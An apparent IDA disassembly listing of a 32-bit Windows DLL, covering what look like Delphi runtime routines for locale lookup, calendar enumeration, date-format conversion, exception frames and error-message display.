		sub	dl, 0Dh
		jz	short loc_20009D02


loc_20009D15:				; CODE XREF: sub_20009CDC+29j
		mov	edx, esp
		mov	ecx, ebx
		xchg	eax, ecx
		call	sub_20004098
		add	esp, 100h
		pop	ebx
		retn
sub_20009CDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20009D28	proc near		; CODE XREF: sub_20009D9C+1Cp
					; sub_20009FB0+27p ...

LCData		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [ebp+arg_0]
		push	100h		; cchData
		lea	ecx, [ebp+LCData]
		push	ecx		; lpLCData
		push	edx		; LCType
		push	eax		; Locale
		call	GetLocaleInfoA_0
		test	eax, eax
		jle	short loc_20009D61
		mov	ecx, eax
		dec	ecx
		lea	edx, [ebp+LCData]
		mov	eax, ebx
		call	sub_20004098
		jmp	short loc_20009D6A
; ---------------------------------------------------------------------------


loc_20009D61:				; CODE XREF: sub_20009D28+25j
		mov	eax, ebx
		mov	edx, esi
		call	sub_20003FFC


loc_20009D6A:				; CODE XREF: sub_20009D28+37j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_20009D28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20009D74	proc near		; CODE XREF: sub_2000B3DC+ADp
					; sub_2000B3DC+C0p ...

LCData		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		push	2		; cchData
		lea	eax, [esp+14h+LCData]
		push	eax		; lpLCData
		push	esi		; LCType
		push	edi		; Locale
		call	GetLocaleInfoA_0
		test	eax, eax
		jle	short loc_20009D95
		mov	al, [esp+10h+LCData]
		jmp	short loc_20009D97
; ---------------------------------------------------------------------------


loc_20009D95:				; CODE XREF: sub_20009D74+1Aj
		mov	eax, ebx


loc_20009D97:				; CODE XREF: sub_20009D74+1Fj
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20009D74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20009D9C	proc near		; CODE XREF: sub_20009DD8+46p
					; sub_20009DD8+69p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		xor	ecx, ecx
		mov	edx, esi
		call	sub_20009D28
		cmp	dword ptr [ebx], 0
		jnz	short loc_20009DCF
		mov	eax, [ebp+var_4]
		mov	eax, [eax+edi*4]
		mov	edx, ebx
		call	sub_20005994


loc_20009DCF:				; CODE XREF: sub_20009D9C+24j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_20009D9C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20009DD8	proc near		; CODE XREF: sub_2000B3DC+23p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		push	ebp
		push	offset loc_20009EEB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	GetThreadLocale_0
		mov	[ebp+var_4], eax
		mov	ebx, 1
		mov	esi, offset dword_200156BC
		mov	edi, offset dword_200156EC


loc_20009E0B:				; CODE XREF: sub_20009DD8+83j
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, offset off_200141A4
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+44h]
		dec	eax
		call	sub_20009D9C
		pop	ecx
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_20003FFC
		push	ebp
		push	0Bh
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, offset off_200141D4
		mov	edx, ebx
		dec	edx
		lea	eax, [ebx+38h]
		dec	eax
		call	sub_20009D9C
		pop	ecx
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_20003FFC
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 0Dh
		jnz	short loc_20009E0B
		mov	ebx, 1
		mov	esi, offset dword_2001571C
		mov	edi, offset dword_20015738


loc_20009E6C:				; CODE XREF: sub_20009DD8+F6j
		lea	eax, [ebx+5]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	[ebp+var_8], edx
		push	ebp
		push	6
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset off_20014204
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 31h
		call	sub_20009D9C
		pop	ecx
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_20003FFC
		push	ebp
		push	6
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset off_20014220
		mov	edx, ebx
		dec	edx
		mov	eax, [ebp+var_8]
		add	eax, 2Ah
		call	sub_20009D9C
		pop	ecx
		mov	edx, [ebp+var_18]
		mov	eax, edi
		call	sub_20003FFC
		inc	ebx
		add	edi, 4
		add	esi, 4
		cmp	ebx, 8
		jnz	short loc_20009E6C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20009EF2


loc_20009EDD:				; CODE XREF: sub_20009DD8+118j
		lea	eax, [ebp+var_18]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_20009EEB:				; DATA XREF: sub_20009DD8+11o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20009EDD
; ---------------------------------------------------------------------------


loc_20009EF2:				; CODE XREF: sub_20009DD8+112j
					; DATA XREF: sub_20009DD8+100o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20009DD8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall CalInfoEnumProc(LPSTR)

CalInfoEnumProc	proc near		; DATA XREF: sub_20009FB0+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_20009F10
; ---------------------------------------------------------------------------


loc_20009F0A:				; CODE XREF: CalInfoEnumProc+1Cj
		cmp	ebx, 7
		jz	short loc_20009F2E
		inc	ebx


loc_20009F10:				; CODE XREF: CalInfoEnumProc+Cj
		cmp	ds:dword_20015760[ebx*4], 0
		jnz	short loc_20009F0A
		lea	eax, dword_20015760[ebx*4]
		mov	edx, [ebp+arg_0]
		call	sub_200041A0
		mov	esi, 1


loc_20009F2E:				; CODE XREF: CalInfoEnumProc+11j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
CalInfoEnumProc	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall sub_20009F38(LPSTR)

sub_20009F38	proc near		; DATA XREF: sub_20009FB0+77o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_20009F9D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		mov	ebx, 1
		jmp	short loc_20009F5C
; ---------------------------------------------------------------------------


loc_20009F56:				; CODE XREF: sub_20009F38+2Cj
		cmp	ebx, 7
		jz	short loc_20009F87
		inc	ebx


loc_20009F5C:				; CODE XREF: sub_20009F38+1Cj
		cmp	ds:dword_2001577C[ebx*4], 0FFFFFFFFh
		jnz	short loc_20009F56
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		call	sub_200041A0
		mov	eax, [ebp+var_4]
		xor	edx, edx
		call	sub_2000729C
		mov	ds:dword_2001577C[ebx*4], eax
		mov	esi, 1


loc_20009F87:				; CODE XREF: sub_20009F38+21j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20009FA4


loc_20009F94:				; CODE XREF: sub_20009F38+6Aj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20009F9D:				; DATA XREF: sub_20009F38+Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20009F94
; ---------------------------------------------------------------------------


loc_20009FA4:				; CODE XREF: sub_20009F38+64j
					; DATA XREF: sub_20009F38+57o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_20009F38	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20009FB0	proc near		; CODE XREF: sub_2000B3DC+31p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_2000A047
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		call	GetThreadLocale_0
		mov	ecx, offset dword_2000A05C
		mov	edx, 100Bh
		call	sub_20009D28
		mov	eax, [ebp+var_4]
		mov	edx, 1
		call	sub_2000729C
		mov	esi, eax
		mov	eax, esi
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jnb	short loc_2000A031
		push	4		; CalType
		push	esi		; Calendar
		call	GetThreadLocale_0
		push	eax		; Locale
		push	offset CalInfoEnumProc ; lpCalInfoEnumProc
		call	EnumCalendarInfoA
		mov	edx, 7
		mov	eax, offset dword_20015780


loc_2000A012:				; CODE XREF: sub_20009FB0+6Cj
		mov	dword ptr [eax], 0FFFFFFFFh
		add	eax, 4
		dec	edx
		jnz	short loc_2000A012
		push	3		; CalType
		push	esi		; Calendar
		call	GetThreadLocale_0
		push	eax		; Locale
		push	offset sub_20009F38 ; lpCalInfoEnumProc
		call	EnumCalendarInfoA


loc_2000A031:				; CODE XREF: sub_20009FB0+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000A04E


loc_2000A03E:				; CODE XREF: sub_20009FB0+9Cj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000A047:				; DATA XREF: sub_20009FB0+9o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000A03E
; ---------------------------------------------------------------------------


loc_2000A04E:				; CODE XREF: sub_20009FB0+96j
					; DATA XREF: sub_20009FB0+89o
		pop	esi
		pop	ecx
		pop	ebp
		retn
sub_20009FB0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_2000A05C	dd 31h			; DATA XREF: sub_20009FB0+1Do

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000A060	proc near		; CODE XREF: sub_2000B3DC+11Cp
					; sub_2000B3DC+149p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000A22A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, 1
		mov	eax, edi
		call	sub_20003FA8
		lea	eax, [ebp+var_8]
		push	eax
		call	GetThreadLocale_0
		mov	ecx, offset dword_2000A240
		mov	edx, 1009h
		call	sub_20009D28
		mov	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_2000729C
		add	eax, 0FFFFFFFDh
		sub	eax, 3
		jb	loc_2000A200
		mov	eax, ds:dword_20015758
		sub	eax, 4
		jz	short loc_2000A0D2
		add	eax, 0FFFFFFF3h
		sub	eax, 2
		jb	short loc_2000A0D2
		xor	eax, eax
		jmp	short loc_2000A0D4
; ---------------------------------------------------------------------------


loc_2000A0D2:				; CODE XREF: sub_2000A060+64j
					; sub_2000A060+6Cj
		mov	al, 1


loc_2000A0D4:				; CODE XREF: sub_2000A060+70j
		test	al, al
		jz	short loc_2000A10D
		jmp	short loc_2000A0FD
; ---------------------------------------------------------------------------


loc_2000A0DA:				; CODE XREF: sub_2000A060+A6j
		mov	al, [esi+ebx-1]
		sub	al, 47h
		jz	short loc_2000A0FC
		sub	al, 20h
		jz	short loc_2000A0FC
		lea	eax, [ebp+var_C]
		mov	dl, [esi+ebx-1]
		call	sub_20004190
		mov	edx, [ebp+var_C]
		mov	eax, edi
		call	sub_2000424C


loc_2000A0FC:				; CODE XREF: sub_2000A060+80j
					; sub_2000A060+84j
		inc	ebx


loc_2000A0FD:				; CODE XREF: sub_2000A060+78j
		mov	eax, esi
		call	sub_20004244
		cmp	ebx, eax
		jle	short loc_2000A0DA
		jmp	loc_2000A20F
; ---------------------------------------------------------------------------


loc_2000A10D:				; CODE XREF: sub_2000A060+76j
		mov	eax, edi
		mov	edx, esi
		call	sub_20003FFC
		jmp	loc_2000A20F
; ---------------------------------------------------------------------------


loc_2000A11B:				; CODE XREF: sub_2000A060+1A9j
		mov	al, [esi+ebx-1]
		and	eax, 0FFh
		bt	ds:dword_2001412C, eax
		jnb	short loc_2000A15B
		mov	edx, ebx
		mov	eax, esi
		call	sub_2000AFC4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		mov	eax, esi
		call	sub_200044A4
		mov	edx, [ebp+var_10]
		mov	eax, edi
		call	sub_2000424C
		add	ebx, [ebp+var_4]
		jmp	loc_2000A200
; ---------------------------------------------------------------------------


loc_2000A15B:				; CODE XREF: sub_2000A060+CBj
		mov	edx, offset dword_2000A244
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_20007738
		test	eax, eax
		jnz	short loc_2000A181
		mov	eax, edi
		mov	edx, offset dword_2000A250
		call	sub_2000424C
		inc	ebx
		jmp	short loc_2000A1FF
; ---------------------------------------------------------------------------


loc_2000A181:				; CODE XREF: sub_2000A060+110j
		mov	edx, offset aYyyy_0 ; "yyyy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 4
		call	sub_20007738
		test	eax, eax
		jnz	short loc_2000A1A9
		mov	eax, edi
		mov	edx, offset aEeee ; "eeee"
		call	sub_2000424C
		add	ebx, 3
		jmp	short loc_2000A1FF
; ---------------------------------------------------------------------------


loc_2000A1A9:				; CODE XREF: sub_2000A060+136j
		mov	edx, offset aYy	; "yy"
		lea	eax, [esi+ebx-1]
		mov	ecx, 2
		call	sub_20007738
		test	eax, eax
		jnz	short loc_2000A1CF
		mov	eax, edi
		mov	edx, offset dword_2000A278
		call	sub_2000424C
		inc	ebx
		jmp	short loc_2000A1FF
; ---------------------------------------------------------------------------


loc_2000A1CF:				; CODE XREF: sub_2000A060+15Ej
		mov	al, [esi+ebx-1]
		sub	al, 59h
		jz	short loc_2000A1DB
		sub	al, 20h
		jnz	short loc_2000A1E9


loc_2000A1DB:				; CODE XREF: sub_2000A060+175j
		mov	eax, edi
		mov	edx, offset dword_2000A284
		call	sub_2000424C
		jmp	short loc_2000A1FF
; ---------------------------------------------------------------------------


loc_2000A1E9:				; CODE XREF: sub_2000A060+179j
		lea	eax, [ebp+var_14]
		mov	dl, [esi+ebx-1]
		call	sub_20004190
		mov	edx, [ebp+var_14]
		mov	eax, edi
		call	sub_2000424C


loc_2000A1FF:				; CODE XREF: sub_2000A060+11Fj
					; sub_2000A060+147j ...
		inc	ebx


loc_2000A200:				; CODE XREF: sub_2000A060+56j
					; sub_2000A060+F6j
		mov	eax, esi
		call	sub_20004244
		cmp	ebx, eax
		jle	loc_2000A11B


loc_2000A20F:				; CODE XREF: sub_2000A060+A8j
					; sub_2000A060+B6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000A231


loc_2000A21C:				; CODE XREF: sub_2000A060+1CFj
		lea	eax, [ebp+var_14]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000A22A:				; DATA XREF: sub_2000A060+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000A21C
; ---------------------------------------------------------------------------


loc_2000A231:				; CODE XREF: sub_2000A060+1C9j
					; DATA XREF: sub_2000A060+1B7o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000A060	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 1
dword_2000A240	dd 31h			; DATA XREF: sub_2000A060+34o
dword_2000A244	dd 6767h, 0FFFFFFFFh, 3	; DATA XREF: sub_2000A060:loc_2000A15Bo
dword_2000A250	dd 676767h		; DATA XREF: sub_2000A060+114o
aYyyy_0		db 'yyyy',0             ; DATA XREF: sub_2000A060:loc_2000A181o
		align 4
		dd 0FFFFFFFFh, 4
aEeee		db 'eeee',0             ; DATA XREF: sub_2000A060+13Ao
		align 4
aYy		db 'yy',0               ; DATA XREF: sub_2000A060:loc_2000A1A9o
		align 10h
		dd 0FFFFFFFFh, 2
dword_2000A278	dd 6565h, 0FFFFFFFFh, 1	; DATA XREF: sub_2000A060+162o
dword_2000A284	dd 65h			; DATA XREF: sub_2000A060+17Do

; =============== S U B	R O U T	I N E =======================================



sub_2000A288	proc near		; CODE XREF: CODE:2000A2F7p
		test	eax, eax
		jz	short locret_2000A291
		sub	eax, 1000h

locret_2000A291:			; CODE XREF: sub_2000A288+2j
		retn
sub_2000A288	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBA8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-4], ecx
		mov	ebx, edx
		mov	esi, eax
		push	1Ch
		lea	eax, [ebp-330h]
		push	eax
		push	ebx
		call	VirtualQuery_0
		cmp	dword ptr [ebp-320h], 1000h
		jnz	short loc_2000A2DE
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, [ebp-32Ch]
		push	eax
		call	GetModuleFileNameA_0
		test	eax, eax
		jnz	short loc_2000A301


loc_2000A2DE:				; CODE XREF: CODE:2000A2C0j
		push	105h
		lea	eax, [ebp-212h]
		push	eax
		mov	eax, ds:dword_20015660
		push	eax
		call	GetModuleFileNameA_0
		mov	eax, ebx
		call	sub_2000A288
		mov	[ebp-8], eax
		jmp	short loc_2000A30A
; ---------------------------------------------------------------------------


loc_2000A301:				; CODE XREF: CODE:2000A2DCj
		sub	ebx, [ebp-32Ch]
		mov	[ebp-8], ebx


loc_2000A30A:				; CODE XREF: CODE:2000A2FFj
		lea	eax, [ebp-212h]
		mov	dl, 5Ch
		call	sub_2000B114
		mov	edx, eax
		inc	edx
		lea	eax, [ebp-10Dh]
		mov	ecx, 104h
		call	sub_20007704
		mov	ebx, offset dword_2000A414
		mov	edi, offset dword_2000A414
		mov	eax, esi
		mov	edx, off_20006350
		call	sub_20003680
		test	al, al
		jz	short loc_2000A366
		mov	eax, [esi+4]
		call	sub_20004444
		mov	ebx, eax
		mov	eax, ebx
		call	sub_200076DC
		test	eax, eax
		jz	short loc_2000A366
		cmp	byte ptr [ebx+eax-1], 2Eh
		jz	short loc_2000A366
		mov	edi, offset dword_2000A418


loc_2000A366:				; CODE XREF: CODE:2000A343j
					; CODE:2000A358j ...
		push	100h
		lea	eax, [ebp-312h]
		push	eax
		mov	eax, ds:off_20014590
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_20015660
		call	sub_20004F24
		push	eax
		call	LoadStringA_0
		lea	edx, [ebp-458h]
		mov	eax, [esi]
		call	sub_2000346C
		lea	eax, [ebp-458h]
		mov	[ebp-358h], eax
		mov	byte ptr [ebp-354h], 4
		lea	eax, [ebp-10Dh]
		mov	[ebp-350h], eax
		mov	byte ptr [ebp-34Ch], 6
		mov	eax, [ebp-8]
		mov	[ebp-348h], eax
		mov	byte ptr [ebp-344h], 5
		mov	[ebp-340h], ebx
		mov	byte ptr [ebp-33Ch], 6
		mov	[ebp-338h], edi
		mov	byte ptr [ebp-334h], 6
		lea	eax, [ebp-358h]
		push	eax
		push	4
		lea	ecx, [ebp-312h]
		mov	edx, [ebp+8]
		mov	eax, [ebp-4]
		call	sub_20007C24
		mov	eax, [ebp-4]
		call	sub_200076DC
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4
dword_2000A414	dd 0			; DATA XREF: CODE:2000A32Ao
					; CODE:2000A32Fo
dword_2000A418	dd 2Eh,	0FBBCC481h, 68FFFFh, 8D000004h,	0E848244Ch, 0FFFFFE64h
					; DATA XREF: CODE:2000A361o
; ---------------------------------------------------------------------------
		mov	eax, ds:off_20014528
		cmp	byte ptr [eax],	0
		jz	short loc_2000A498
		mov	eax, ds:off_2001444C
		call	sub_20002CAC
		call	sub_2000275C
		lea	eax, [esp+44h]
		push	eax
		lea	eax, [esp+48h]
		push	eax
		call	CharToOemA
		push	0
		lea	eax, [esp+4]
		push	eax
		lea	eax, [esp+4Ch]
		call	sub_200076DC
		push	eax
		lea	eax, [esp+50h]
		push	eax
		push	0FFFFFFF4h
		call	GetStdHandle_0
		push	eax
		call	WriteFile_0
		push	0
		lea	eax, [esp+4]
		push	eax
		push	2
		push	offset dword_2000A4E0
		push	0FFFFFFF4h
		call	GetStdHandle_0
		push	eax
		call	WriteFile_0
		jmp	short loc_2000A4CE
; ---------------------------------------------------------------------------


loc_2000A498:				; CODE XREF: CODE:2000A438j
		push	40h
		lea	eax, [esp+8]
		push	eax
		mov	eax, ds:off_20014428
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_20015660
		call	sub_20004F24
		push	eax
		call	LoadStringA_0
		push	2010h
		lea	eax, [esp+8]
		push	eax
		lea	eax, [esp+4Ch]
		push	eax
		push	0
		call	MessageBoxA_0


loc_2000A4CE:				; CODE XREF: CODE:2000A496j
		add	esp, 444h
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_2000A4E0	dd 0A0Dh		; DATA XREF: CODE:2000A484o

; =============== S U B	R O U T	I N E =======================================



sub_2000A4E4	proc near		; CODE XREF: sub_2000A69C+32p
					; sub_2000A71C+38p ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_2000A4F3
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_2000A4F3:				; CODE XREF: sub_2000A4E4+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_20003FFC
		mov	eax, edi
		test	bl, bl
		jz	short loc_2000A518
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_2000A518:				; CODE XREF: sub_2000A4E4+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000A4E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000A520	proc near		; CODE XREF: sub_2000A770+77p
					; sub_2000A8F8+127p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_2000A534
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_2000A534:				; CODE XREF: sub_2000A520+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000A57A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		call	sub_20007C64
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_20003FFC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000A581


loc_2000A571:				; CODE XREF: sub_2000A520+5Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000A57A:				; DATA XREF: sub_2000A520+1Do
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000A571
; ---------------------------------------------------------------------------


loc_2000A581:				; CODE XREF: sub_2000A520+59j
					; DATA XREF: sub_2000A520+4Co
		mov	eax, edi
		test	bl, bl
		jz	short loc_2000A596
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_2000A596:				; CODE XREF: sub_2000A520+65j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_2000A520	endp


; =============== S U B	R O U T	I N E =======================================



sub_2000A5A0	proc near		; CODE XREF: CODE:2000A855p
					; sub_2000ABA0+Dp ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_2000A5AF
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_2000A5AF:				; CODE XREF: sub_2000A5A0+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	edx, [edi+4]
		mov	eax, esi
		call	sub_20005994
		mov	eax, edi
		test	bl, bl
		jz	short loc_2000A5D4
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_2000A5D4:				; CODE XREF: sub_2000A5A0+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000A5A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000A5DC	proc near		; CODE XREF: sub_20006F08+14p
					; sub_2000A69C+51p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_2000A5F2
		add	esp, 0FFFFFFF0h
		call	sub_2000373C


loc_2000A5F2:				; CODE XREF: sub_2000A5DC+Cj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000A648
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		lea	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_20005994
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_20007C64
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_20003FFC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000A64F


loc_2000A63A:				; CODE XREF: sub_2000A5DC+71j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000A648:				; DATA XREF: sub_2000A5DC+1Fo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000A63A
; ---------------------------------------------------------------------------


loc_2000A64F:				; CODE XREF: sub_2000A5DC+6Bj
					; DATA XREF: sub_2000A5DC+59o
		mov	eax, edi
		test	bl, bl
		jz	short loc_2000A664
		call	sub_20003794
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_2000A664:				; CODE XREF: sub_2000A5DC+77j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_2000A5DC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_2000A670	proc near		; DATA XREF: CODE:200063FCo
					; CODE:20006458o ...
		cmp	byte ptr [eax+0Ch], 0
		jz	short locret_2000A67B
		call	sub_200034A8

locret_2000A67B:			; CODE XREF: sub_2000A670+4j
		retn
sub_2000A670	endp

; ---------------------------------------------------------------------------
off_2000A67C	dd offset dword_2000A680 ; DATA	XREF: CODE:2000BFCCr
dword_2000A680	dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:off_2000A67Co
		db 3 dup(0)
		dd offset off_20001000
		db 4
		dd 90000000h

; =============== S U B	R O U T	I N E =======================================



sub_2000A69C	proc near		; CODE XREF: sub_2000A71C:loc_2000A75Dp

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		xor	ebx, ebx
		call	sub_200027DC
		mov	esi, eax
		jmp	short loc_2000A6AD
; ---------------------------------------------------------------------------


loc_2000A6AC:				; CODE XREF: sub_2000A69C+1Dj
		inc	ebx


loc_2000A6AD:				; CODE XREF: sub_2000A69C+Ej
		cmp	ebx, 6
		jg	short loc_2000A6BB
		cmp	esi, ds:dword_2001423C[ebx*8]
		jnz	short loc_2000A6AC


loc_2000A6BB:				; CODE XREF: sub_2000A69C+14j
		cmp	ebx, 6
		jg	short loc_2000A6D5
